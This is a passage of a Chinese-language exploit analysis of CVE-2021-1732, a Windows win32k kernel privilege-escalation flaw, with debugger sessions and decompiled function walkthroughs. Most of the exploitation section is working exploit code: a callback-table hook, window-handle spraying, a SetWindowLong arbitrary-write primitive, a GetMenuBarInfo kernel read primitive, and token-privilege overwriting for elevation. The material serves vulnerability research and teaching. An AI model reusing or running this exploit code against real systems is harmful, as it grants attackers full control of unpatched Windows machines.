  • 这里我们覆盖style(tagWNDk+0x18)就需要设置参数2为0x1c
  • 第153行表示判读tagWNDk->flag是否有0x800属性
  • 第154行表示使用指针v19指向***(pExtraBytes + 载入的参数2 - 4 + 内核桌面堆地址)**,这个offset我们是可以使用SetWindowLong进行自定义
  • 第156行表示使用指针v19指向***(pExtraBytes - 4 + 载入的参数2)**
  • 第157行表示将载入参数3写入到v19指向的地址
  • 第158行表示SetWindowLong调用完后返回v19指向的内容

动态调试分析:

根据断点拿到窗口tagWND内核基址:0xffff834ec62c7e70

1: kd> dqs 0xffff834ec62c7e70 l6
ffff834e`c62c7e70  00000000`000a0510
ffff834e`c62c7e78  00000000`00000003
ffff834e`c62c7e80  ffff834e`c0641010
ffff834e`c62c7e88  ffff9108`276b1a80
ffff834e`c62c7e90  ffff834e`c62c7e70
ffff834e`c62c7e98  ffff834e`c1249760        <==进入tagWNDk

查看tagWNDk+0xFC的值

1: kd> ?ffff834e`c1249760+fc
Evaluate expression: -137100705621924 = ffff834e`c124985c
1: kd> dqs ffff834e`c124985c
ffff834e`c124985c  00010001`00000000        <==可以看到是00010001,转换为unsigned int == 65537 == 1int型4字节

六、分析win32kfull!xxxSetWindowLongPtr

当我们只需要SetWindowLongPtr的赋值功能:

image24.png

  • 第153行表示指向tagWNDk
  • 第154行表示v21指向tagWNDk+0xFC(当载入参数超过某个值,经动态调试查看载入地址发现我们nIndex不需要补差,参数指哪里传哪里,不知道为什么)
  • 第184行表示v24 = nIndex
  • 第185行表示判断窗口的flag是否包含0x800
  • 第186行表示赋值地址v25 =nIndex+ pExtraBytes +桌面堆地址
  • 第189行表示将上一个指定赋值的地址当作返回地址返回
  • 第190行将参数3赋值到v25指针指向地址中

当我们需要SetWindowLongPtr调用xxxSetWindowData执行特定的对spmenu的赋值功能

xxxSetWindowLongPtr跳转到xxxSetWindowData
image25.png
image26.png

分析win32kfull!xxxSetWindowData

image27.png
image28.png

  • 第117~119行表示我们需要包含GWLP_ID(参考SetWindowLongPtrA function (winuser.h)
  • 第120行表示我们的tagWNDK->style需要包含WS_CHILD
  • 第122行表示我们旧的hWnd+0xa8上的数据当作返回值输出(在SetWindowLongPtr上也是返回值)
  • 第124行表示将参数dwNewLong数据覆盖到tagWND+0xa8(tagWND->spmenu)上(经动态调试查实)
  • 这个就是我们构造读原语需要的步骤之一

七、分析Win32kfull!NtUserGetMenuBarInfo

这个就是我们读原语的主要调用函数,只要在窗口内部使用我们根据漏洞构造的写原语将我们自定义的spmenu插入即可

查看User32!GetMenuBarInfo

image29.png

  • 可以看到上述将所有参数载入到内核层中的Win32kfull!NtUserGetMenuBarInfo继续运行

查看Win32kfull!NtUserGetMenuBarInfo

image30.png

查看xxxGetMenuBarInfo

image31.png
image32.png

  • 第133/135行表示idObject必须要等于-3才能调用spmenu
  • 第136行表示需要包含WS_CHILD
  • 第131行表示获取tagWND->spmenu需要有数据
  • 第142行表示赋值tagWND->spmenuv79
  • 第156行表示传入的idItem必须大于0
  • 第158行表示获取ptagWNDk
  • 第159行当idItem0x1时,v44=0x60
  • 第160行表示指向*(tagWND->spmenu)[0xB]
  • 第161行当idItem0x1时,则v46 == v45 == *(tagWND->spmenu)[0xb]
  • 第170行当idItem0x1,根据动态调试本次EXP中的RECT.top==0x0,所以可以使用v48 = *(*(spmenu+0xb)+0x40)代表,由于是DWORD,所以只拿到16字节的前8字节
  • 第171行将我们我们使用SetWindowLongPtr传入的spmenu结构体中的*spmenu[0xb]-0x**40**(注意!!)指向的地址的内容的前4字节赋值到我们调用的GetMenuBarInfo函数的第4个参数pmbi+0x4
  • 第174行当idItem0x1,根据动态调试本次EXP中的RECT.left==0x0,所以可以使用v49 = *(*(spmenu+0xb)+0x44)代表,由于是DWORD,所以只拿到16字节中的前8字节
  • 第171行将我们我们使用SetWindowLongPtr传入的spmenu结构体中的*spmenu[0xb]-0x**44**(注意!!)指向的地址的内容的前4字节赋值到我们调用的GetMenuBarInfo函数的第4个参数pmbi+0x8
  • 上面171行和175行中的地址需要将2者进行< 和 |运算来生成完整的8字节数据(就是后面在EXP中执行的ReBuildData()

0x05 漏洞利用流程


可以看出只要Hook user32!_xxxClientAllocWindowClassExtraBytes中调用NtUserConsoleControl(先)跟NtCallbackReturn(后)就可以了。调用NtUserConsoleControl会重新设置tagWND­->pExtraBytestagWND-­>extraFlag值包含0x800属性,再调用NtCallbackReturn函数返回指定offset到内核层修改tagWND­->pExtraBytes,然后调用SetWindowsLong在内核层“指定offset”修改数据
因为正常调用完user32!_xxxClientAllocWindowClassExtraBytes会调用NtCallbackReturn传输生成的内存地址到win32kfull!xxxClientAllocWindowClassExtraBytes,然后win32kfull!xxxClientAllocWindowClassExtraBytes调用完毕后会把返回值放入到tagWND­->pExtraBytes,而Hook后就是自己建立NtCallbackReturn传输自定义内存地址到win32kfull!xxxClientAllocWindowClassExtraBytes,然后win32kfull!xxxClientAllocWindowClassExtraBytes调用完毕后会把返回值放入到tagWND­->pExtraBytes
在指定地址写入数据后我们就可以调用GetMenuBarInfo读内核层数据了,进而配合SetWindowsLong任意写入造成提权。

EXP分析

一、Hook函数分析


这里使用了Hook库hooklib.lib来进行Hook,想要进一步了解的请google:Hooklib

#include <HookLib.h>
#pragma comment(lib, "Zydis.lib")
#pragma comment(lib, "HookLib.lib")
using USERMODECALLBACK = VOID(WINAPI*)( ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4 );
USERMODECALLBACK UserModeCallback_Orig = NULL;
SetHook((PVOID)(pUserModeCallbackTable[CALLBACK_INDEX]), UserModeCallback_Proxy, reinterpret_cast<PVOID*>(&UserModeCallback_Orig));

解析:

一旦程序在CreateWindowEx回调中调用了UserModeCallbackTable表上第123项(**_xxxClientAllocWindowClassExtraBytes**),就跳转到我们的Hook函数**UserModeCallback_Proxy**进行赋值,想要更加清晰理解Hook流程的,可以自行查看k-k-k-k给出的Exploit编写,里面有巨细的自编写Hook代码利用。
在调用**CreateWindowEX**创建窗口过程中我们需要Hook **user32!_xxxClientAllocWindowClassExtraBytes**跳转到我们的Hook函数,Hook函数内部调用**NtCallbackReturn**伪造回调内核态参数功能返回一个我们自定义的**pExtraBytes**,然后这个自定义的**pExtraBytes**会返回到**win32kfull!xxxClientAllocWindowClassExtraBytes**,然后**win32kfull!xxxClientAllocWindowClassExtraBytes**会将**pExtraBytes**当作返回值返回到**xxxCreateWindowEx**,然后赋值**tagWND->pExtraBytes**
注意:
为什么我们需要在Hook中调用NtCallbackReturn前调用NtUserConsoleControl来赋值0x800呢?其实我们这里赋值flag0x800属性只是为了让我们的SetWindowLongSetWindowLongStr能够指定地址越界写入进而构造写原语,没有其他功能了,所以按道理来说是只要在调用SetWindowlong/SetWindowLongStr前调用就可以了。根据前面分析,调用flag不存在0x800属性的NtUserConsoleControl会将**pExtraBytes**给重写,而我们写入自定义**pExtraBytes**“只能”在Hook函数内部调用NtCallbackReturn的写入的,而且由于我们一开始创建窗口时是不可能将flag给写入0x800属性的,所以第一次调用NtUserConsoleControl时必定会将**pExtraBytes**重写,那么我们就不可能在调用NtCallbackReturn后才调用NtUserConsoleControl来给flag写入0x800属性了,所以这就是我们为什么需要使用sprayHandles找到即将创建的窗口句柄地址来事先调用NtUserConsoleControl将我们的flag设置0x800了,而且由于在窗口返回前是不能拿到窗口句柄值的,所以我们只能够根据“内存泄露”/“一些新型手法来通过规律来拿到即将创建的窗口句柄值”,在这里,大牛发现的sprayhandle获取句柄值就是创新之举了。
所以我们漏洞分析不要只关注哪些能够帮助利用的点,还需要关注哪些可能流程上经过的途径造成的结果有哪些

SprayHandler手法分析:

在我们创建大量的窗口堆后,我们可以销毁尽量靠中的窗口,当我们再创建一个窗口时候桌面堆会优先使用休闲空间,由于之前创建的窗口已经挤压了堆空间,所以我们可以大概率的获取到我们原来销毁的窗口,然后再通过pai-po大佬发现的“窗口句柄生成规律”预知构造一个即将创建窗口的句柄来表示我们现在创建的这个新窗口。
综合得出我们利用sprayhandler的条件

  • 创建足够多的窗口压缩堆空间,在下次调用会优先调用之前使用现在休闲的空间
  • 对窗口句柄进行规律构造,生成即将生成的窗口句柄,在尚未创建窗口前就使用某些只要调用句柄的API

关于原理可以到pai-po大佬文章中学习:Windows User Object的句柄管理

ULONG ulCurWnd = (ULONG)SprayWndHandles[SPRAY_WND_COUNT / 2];
for (int i = 0; i < SPRAY_WND_COUNT; i++) {
    SprayWndHandles[i] = CreateWnd(CLS_NAME);
}
//挤压分配堆空间
printf("SprayWndHandles[%x] == %X \n", SPRAY_WND_COUNT / 2, SprayWndHandles[SPRAY_WND_COUNT / 2]);
DestroyWindow(SprayWndHandles[SPRAY_WND_COUNT/2]);
//摧毁靠中的窗口,释放这个窗口下属的堆块
HWND hTargetWnd = CreateWnd(CLS_NAME);
//创建一个新窗口触发Hook载入flag|0x800和自定义
  • 上面释放的堆块就是大范围“正在利用”堆中的唯一“空闲”堆,所以只要总结出分配的规律就能继续利用这个堆块
{
    USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
    USHORT usLow = ulCurWnd & 0xffff;
    ulCurWnd = ((usHigh + 1) << 0x10) | usLow; 
    //ulCurWnd就是通过sprayhandle拿到的即将创建的窗口句柄值
}

HWND CreateWnd( PCTSTR ClsName ) {
    return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
}
  • 上方ulCurWnd句柄指向的堆块虽然我们已经将其释放,但是由于**xxxClientAllocWindowClassExtraBytes**查看堆块tagWND->flag时没有验证该

分析使用HMValidateHandle获取hwnd句柄地址值:

原理:
HMAllocObject创建了桌面堆类型句柄后,会把tagWND对象放入到内核模式到用户模式内存映射地址里。 为了验证句柄的有效性,窗口管理器会调用User32!HMValidateHandle函数读取这个表。函数将句柄和句柄类型作为参数,并在句柄表中查找对应的项。如果查找到对象, 会返回tagWND只读映射的对象指针,通过tagWND这个对象我们可以获取到句柄等一系列窗口信息。
HMValidateHandle是个未公开函数,可以用IsMenu第一个call定位此函数。

using HMVALIDATEHANDLE = VOID* (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;
//定义一个HMVALIDATEHANDLE类型结构体装载HMValidateHandle函数

BOOL FindHMValidateHandle() { //找到HMValidateHandle
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }
    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }

    unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;

    HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11); //找到HMValidateHandle的基址
    return TRUE;
}

利用HMValidateHandle寻找hwnd句柄地址:

pCurWndObj1 = HMValidateHandle((HWND)hTargetWnd, 0x1);

分析获取tagWND与桌面堆基址偏移计算函数:

ULONG GetWndObjOffset(ULONG_PTR hwnd ) {
    PVOID pCurWndObj = NULL;
    ULONG_PTR ulWndObjOff = 0x0;
    ULONG_PTR ulTebAddr = 0;

    ulTebAddr = __readgsqword(0x30); 
    //获取teb基址

    pCurWndObj = HMValidateHandle((HWND)hwnd, 0x1); 
    // 使用HMValidateHandle获取hwnd句柄地址值                
    // 桌面窗口固定参数为0x1

    ulWndObjOff = (ULONG_PTR)pCurWndObj - *(ULONG_PTR*)(ulTebAddr + TEB_DESKTOPHEAP_OFF);       
    //ulWndObjOff就是窗口tagWND相对用户层桌面堆地址的偏移

    return ulWndObjOff; //返回窗口hTargetWnd与进程用户堆基址偏移
}
  • 拿到窗口tagWND与用户进程桌面堆地址的偏移后,就可以知道内核层下我们的窗口tagWND地址了(原理看下面Read Primitive)

分析Hook函数:

VOID WINAPI UserModeCallback_Proxy(ULONG_PTR Para1, ULONG_PTR Para2, ULONG_PTR Para3, ULONG_PTR Para4)
{
    ULONG_PTR ulConsoleInfo[0x2] = { 0 };   //调用NtUserConsoleControl需要构造0x10长度的参数
    ULONG_PTR ulRetBuffer[0x3] = { 0 };     //调用NtCallbackReturn需要构造0x18长度的参数
    ULONG ulCurWnd = (ULONG)SprayWndHandles[SPRAY_WND_COUNT / 2];
    ULONG_PTR ulWndObjOff = 0x0;

    printf("UserMode Callback: %llx %llx %llx %llx\n", Para1, Para2, Para3, Para4 );
    printf( "Current window is Handle %X\n",  ulCurWnd);

    // since it was freed and occupied again , so the index increase one, details see my blog's article!
    {
        USHORT usHigh = (ulCurWnd >> 0x10) & 0xffff;
        USHORT usLow = ulCurWnd & 0xffff;
        ulCurWnd = ((usHigh + 1) << 0x10) | usLow;
    }
    ulWndObjOff = GetWndObjOffset(ulCurWnd);
    printf("Current Window Object relative to DesktopHeap's offset:%X\n", ulWndObjOff);

    // trigle to change flag 
    ulConsoleInfo[0] = ulCurWnd;
    NtUserConsoleControl(0x6, (PVOID)&ulConsoleInfo, sizeof(ulConsoleInfo));
    //对tagWND->flag设置0x800属性

    ulRetBuffer[0] = ulWndObjOff;
    NtCallbackReturn(&ulRetBuffer, sizeof(ulRetBuffer), 0x0);
    //由于已经Hook了USER32!_xxxClientAllocWindowClassExtraBytes,而且我们不调用USER32!_xxxClientAllocWindowClassExtraBytes
    //所以我们需要自己构造假的USER32!_xxxClientAllocWindowClassExtraBytes功能来实现利用

}

下面是调用流程图示:
image33.png

二、Write Primitive


原理:

  • flag|0x800+载入自定义pExtraBytes下调用SetWindowLong/SetWindowLongStr可以进行任意地址写入

限制:

  • 写入的长度有cbWndExtra长度限制,需要事先设置一个足够大的cbWndExtra
SetWindowLongPtr(hTargetWnd, 0xc8, (ULONG_PTR)-1); //将cbWndExtra修改到最高(0xFFFFFFFFFFFFFFFF),突破输入限制

主要涉及函数:

SetWindowLongPtr 任意地址写入
SetWindowLong 任意地址写入
NtCallbackReturn 自定义offset (pExtraBytes)
NtUserConsoleControl 设置flag
SetWindowLongPtr(hTargetWnd, 0xc8, (ULONG_PTR)-1); //将cbWndExtra修改到最高(0xFFFFFFFFFFFFFFFF),突破输入限制
SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7); //将hAdjacentWnd窗口中的pExtraBytes作为offset进行自定义写入

三、Read Primitive


通过GetMenuBarInfo信息泄露指定地址数据

使用前提:

  • 使用写原语将自定义的用户层spmenu载入到内核层tagWND->spmenu中进而使用GetMenuBarInfo读取

下面是完整的读原语构造代码:

ULONG_PTR ReadPrimitive( HWND TargetWnd ) {
    MENUBARINFO menuBarInfo;
    ULONG_PTR ulValue0;

    menuBarInfo.cbSize = sizeof(menuBarInfo); //这是menubarInfo的初始化必需步骤
    GetMenuBarInfo(TargetWnd, OBJID_MENU, 0x1, &menuBarInfo);

    ReBuildData(&menuBarInfo, &ulValue0);
    //将调用GetMenuBarInfo返回的menuBarInfo中的4字节RECT.left和4字节RECT.top,然后构造

    return ulValue0;
}
  • 下面是将从泄露地址内容2个32位地址的RECT.leftRECT.right重构“64位地址”真实泄露完整数据的代码
  • 我这里将一些实际调用不相关的代码删除
VOID ReBuildData( PMENUBARINFO MenuBarInfoPtr, ULONG_PTR* RetValue0 ) {
    ULONG_PTR ulValue0 = MAKE_64BIT_VALUE((ULONG)(MenuBarInfoPtr->rcBar.top), (ULONG)(MenuBarInfoPtr->rcBar.left));
    *RetValue0 = ulValue0;
}
  • 这是MENUBARINFO的结构体定义
typedef struct tagMENUBARINFO
{
    DWORD cbSize;
    RECT rcBar;          // rect of bar, popup, item    <===这个就是泄露地址的结构体成员
    HMENU hMenu;         // real menu handle of bar, popup
    HWND hwndMenu;       // hwnd of item submenu if one
    BOOL fBarFocused:1;  // bar, popup has the focus
    BOOL fFocused:1;     // item has the focus
    BOOL fUnused:30;     // reserved
} MENUBARINFO, *PMENUBARINFO, *LPMENUBARINFO;
ULONG_PTR GetCurThreadObjAddr() {
   HANDLE hThread = INVALID_HANDLE_VALUE;
   ULONG_PTR ulAddr = 0x0;
   hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
   if (hThread != INVALID_HANDLE_VALUE){
      ulAddr = (ULONG_PTR)GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hThread);
      CloseHandle(hThread);
      return ulAddr;
   }
   return 0;
}
//==========================================================================
{
ULONG_PTR ulDesktopHeapBase = 0x0;
ULONG_PTR ulFakeHandle = 0xFFFF;
ULONG_PTR ulFakeRefCount[2] = { 0 };
PULONG_PTR pFakeMenu = NULL;
PULONG_PTR pFakeMenuBody = NULL;
PULONG_PTR pFakeItems = NULL;
PVOID pCurWndObj1 = NULL;

SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x40c00000); 
//将我们自定义的spmenu载入到tagWND->spmenu要调用SetWindowLongPtr中的xxxSetWindowData
//而调用xxxSetWindowData,需要tagWNDk->style包含WPCCHILD

pFakeMenu = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeMenuBody = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pFakeItems = (PULONG_PTR)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//给各个自定义结构申请内存

SetWindowLongPtr(hTargetWnd, GWLP_ID, (LONG_PTR)pFakeMenu); 
//当参数2为WS_CHILD时,我们才可以调用SetWindowLongPtr将参数3指定的地址(pFakeMenu)写入到tagWND+0xa8(tagWND->spmenu),详情看xxxSetWindowData



SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000); 
// 载入spmenu后就style就不需要为0x40c00000了,style需要恢复原数据(动态分析调试得出)

// 构造符合正常执行GetMenuBarInfo且把pFakeItems当作读取地址的spmenu(构造原理:构造正常的spmenu然后根据windbg分析必须的各个成员位置)
pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody;                // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff;              // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1;                       // make menu'x to 1,这是构造正常的spmenu必须的参数
((PULONG)(&pFakeMenu[8]))[1] = 1;                       // make menu'y to 1,这是构造正常的spmenu必须的参数
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems;                 // 这个就是读取的地址(详情看GetMenuBarInfo分析)
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;

//开始一步一步根据内核结构联系拿到内核桌面堆地址
{
    ULONG_PTR ulAddr = 0; 
    ULONG_PTR ulValue = 0;

    ulAddr = GetCurThreadObjAddr();
    if (!ulAddr)
        return -1;

    pFakeItems[0] = (ULONG_PTR)(ulAddr + ETHREAD_WIN32THREAD_OFF - 0x40);   // 泄露地址-0x40(详情请看分析GetMenuBarInfo)
    ulValue = 0;
    ulValue = ReadPrimitive(hTargetWnd);

    pFakeItems[0] = (ULONG_PTR)(ulValue - 0x40);            
    ulValue = 0;
    ulValue = ReadPrimitive(hTargetWnd);

    pFakeItems[0] = (ULONG_PTR)(ulValue + WIN32THREAD_DESKTOP_OFF - 0x40);
    ulValue = 0;
    ulValue = 0;
    ulValue = ReadPrimitive(hTargetWnd);

    pFakeItems[0] = (ULONG_PTR)(ulValue + DESKTOP_HEAPBASE_OFF - 0x40);
    ulValue = 0;
    ulValue = ReadPrimitive(hTargetWnd);

    ulDesktopHeapBase = ulValue;    //内核桌面堆地址
}
  • 上面的spmenu是通过分析GetMenuBarInfo得到的与正常spmenu结构有差异的自定义spmenu,其中pFakeMenu[0xb] = (ULONG_PTR)pFakeItems;中的pFakeItems就是我们需要泄露的指针,只要自定义pFakeItems,我们就可以像windbg读地址一样将根据内核结构体联系一步一步读取到内核桌面堆地址
  • 泄露复现流程查看下面的“动态分析调用流程

拿到内核桌面堆地址能做什么呢?

  • 其实就是为了下一步越界写入做准备
  • 获取我们窗口在内核中的实际地址
  • 我们只需要再拿到“我们窗口在用户态下的句柄地址(HMValidateHandle获取) ”-“ 用户桌面堆地址(在用户态下通过teb+0x828获取)”的相差值再与“内核桌面堆地址”相加就可以获取到“我们窗口在内核中的实际地址”了
  • 获取到相邻窗口的地址
  • 相邻的窗口中相差的只是一个tagWNDk结构体的大小,根据大牛们模糊测试,大概在“0x140~0x160”的范围,我们可以根据“已知的”相邻窗口tagWND结构首地址存储的句柄值进行模糊测试获取到相邻窗口的tagWNDk的真实地址

动态分析调用流程

一、动态分析上面的获取ulDesktopHeapBase(内核桌面堆地址)的过程:

  1. 列出进程列表
1: kd> !dml_proc
Address           PID  Image file name
ffff9108`2548b380 4    System         
ffff9108`25480080 58   Registry       
ffff9108`2758d040 128  smss.exe       
........
ffff9108`2a77c080 140  CVE-2021-1732.exe
  1. 查看进程Thread
1: kd> !dml_proc 0xffff91082a77c080
Address           PID  Image file name
ffff9108`2a77c080 140  CVE-2021-1732.    Full details

Select user-mode state     Release user-mode state
Browse kernel module list  Browse user module list
Browse full module list

Threads:
    Address           TID
    ffff9108`2a58f080 76c                   <==这个就是进程主线程
    ffff9108`29dcd080 89c 
    ffff9108`29cf0080 72c 
  1. 获取*(主线程地址+0x1c8)
1: kd> dqs ffff9108`2a58f080+1c8 l1
ffff9108`2a58f248  ffff9108`2a41ac80
  1. 获取上述指针指向内容
1: kd> dqs ffff9108`2a41ac80 l1
ffff9108`2a41ac80  ffff834e`c0641010
  1. 获取*(上述指针指向内容+0x1c0)这个就是我们ptagWND+0x18的内容
1: kd> dqs ffff834e`c0641010+1c0 l1
ffff834e`c06411d0  ffff9108`276b1a80
  1. 获取*(上述地址+0x80),这个就是我们的kernel desktop heap base == ffff834ec1200000`
1: kd> dqs ffff9108`276b1a80+80 l1
ffff9108`276b1b00  ffff834e`c1200000

上面第5步中通过ptagWND+0x18来获取就是常规的kernel desktop heap base获取流程

四、寻找相邻窗口


//找到相邻窗口101
for (ULONG ulIndex = 0x0; ulIndex < 0x30; ulIndex += 8) {
    pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + ulIndex - 0x40);
    //相邻的2个窗口的地址差就是一个tagWNDk结构体大小,这里使用了循环计数ulIndex来偏差定位

    ulValue = 0;
    ulValue = ReadPrimitive(hTargetWnd);
    if (ulValue == (ULONG_PTR)hAdjacentWnd) {   //而tagWNDk首地址内容就是我们相邻窗口的句柄值
        bAdjacent = TRUE;
        ulTagWndBodySize += ulIndex;    
        //根据模糊测试定位到了真实的tagWNDk结构体大小后重写ulTagWndBodySize,用于后面帮助分析
        break;
    }
}
  • ulDesktopHeapBase + ulWndOffset表示我们的目标窗口在内核层中的地址
  • 由于相邻的2个窗口的地址差就是一个tagWNDk结构体大小,所以拿到目标窗口在内核中的地址后就可以根据结构体差值来获取相邻窗口的地址了,这里使用了ulTagWndBodySize+ulIndex来模糊测试大概偏差。
  • 在这个相邻窗口上我们可以配置进程Token空间偏移作为pExtraBytes来对进程Token空间进行读写(因为我们的目标窗口已经将tagWND空间偏移设置为pExtraBytes)

五、使用DataOnlyAttack进行提权


解析:

  • Win10 1709之后,我们不仅需要在修改当前进程的特权之后,而且需要调整当前Token中的用UserAndGroups,使其和管理员相同。从而才能发生提权
//Util.cpp
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

BOOL InitGlobalFunc() {
    HMODULE hNtdllMod = GetModuleHandle(TEXT("ntdll"));
    NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdllMod, "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
        return FALSE;

    return TRUE;
}
PVOID GetTargetHandleObject(ULONG_PTR TargetPID, ULONG_PTR TargetHandle)
{
    ULONG ulIndex = 0;
    ULONG ulLen = 0x10;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    do {
        ulLen *= 2;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, ulLen);

        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, ulLen, &ulLen);

    } while (status == STATUS_INFO_LENGTH_MISMATCH);

    if (!NT_SUCCESS(status)) {
        printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
        return NULL;
    }
    //调用NtQuerySystemInformation根据句柄获取地址
    for (; ulIndex < pHandleInfo->HandleCount; ulIndex++) {
        PVOID pObj = pHandleInfo->Handles[ulIndex].Object;
        ULONG_PTR ulHandle = (ULONG_PTR)pHandleInfo->Handles[ulIndex].HandleValue;
        ULONG_PTR ulPID = (ULONG_PTR)pHandleInfo->Handles[ulIndex].UniqueProcessId;
        if (ulHandle == TargetHandle && ulPID == TargetPID)
            return pObj;
    }

    return NULL;
}
//CVE-2021-1732.cpp
ULONG_PTR GetCurTokenObjAddr() {    //获取本进程的Token地址
    HANDLE hProc; //进程句柄
    HANDLE hToken; //进程的令牌句柄
    PVOID pTokenObj;

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());

    OpenProcessToken(
        hProc,
        TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
        &hToken);
    pTokenObj = GetTargetHandleObject(GetCurrentProcessId(), (ULONG_PTR)hToken);
    return (ULONG_PTR)pTokenObj;
    //这里返回的地址就是下面分析第2步拿到的Token地址 "0xffff9a8ee9505060"
}

if (bAdjacent) {
        // read adjacent hwnd's flag
        pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40);  //这里是查看相邻窗口tagWNDk的flag的值
        ulValue = 0;
        ulValue = ReadPrimitive(hTargetWnd);

        ulTokenObjAddr = GetCurTokenObjAddr();//本进程的Token地址

        SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将cbWndExtra修改到最高,方便后面修改
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue | 0x800); //配置相邻窗口的flag值存在0x800属性
        //配置相邻窗口的flag存在0x800属性
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, ulTokenObjAddr - ulDesktopHeapBase); //将进程token地址-内核桌面堆地址的偏移量放到相邻窗口的pExtraBytes
        //配置相邻窗口的pExtraBytes为
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, (ULONG_PTR)-1); //将相邻窗口的cbWndExtra修改到最高,方便后面修改
        //配置相邻窗口的cbWndExtra

        // adjacent wnd can modify token's anything
        SetWindowLongPtr(hAdjacentWnd, 0x40, (ULONG_PTR)-1);
        SetWindowLongPtr(hAdjacentWnd, 0x48, (ULONG_PTR)-1);

        SetWindowLong(hAdjacentWnd, 0x498 + 0x30, 0x7);
        SetWindowLong(hAdjacentWnd, 0x498 + 0x40, 0xf);
        DEBUG_BREAK();//这里下个断点分析提权赋值位置

        // Restore adjacent window
        pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40);
        ulValue = 0;
        ulValue = ReadPrimitive(hTargetWnd);
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);        //删除相邻窗口的flag的0x800属性
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
        SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 );                // our specified size
        SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100);                                    // out specified size
    }
}
  • 动态调试分析流程

  • 查看进程列表(ffffbd04669f1080就是我们进程的EPROCESS`地址)

0: kd> !dml_proc
Address           PID  Image file name
ffffbd04`62e8b380 4    System         
ffffbd04`62e66080 58   Registry       
.......... 
ffffbd04`672e1080 8e0  SearchFilterHo 
ffffbd04`669f1080 f20  CVE-2021-1732.exe 
  1. 列出目标进程信息(ffff9a8ee9505060就是进程Token地址)
0: kd> !process 0xffffbd04669f1080 7
PROCESS ffffbd04669f1080
    SessionId: 1  Cid: 0f20    Peb: c589f8d000  ParentCid: 0d7c
    DirBase: 08d40000  ObjectTable: ffff9a8ee9906400  HandleCount:  85.
    Image: CVE-2021-1732.exe
    VadRoot ffffbd0465ad5c60 Vads 60 Clone 0 Private 2014. Modified 1. Locked 0.
    DeviceMap ffff9a8ee61f5cd0
    Token                             ffff9a8ee9505060
    ElapsedTime                       00:00:02.013
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         104696
    QuotaPoolUsage[NonPagedPool]      8424
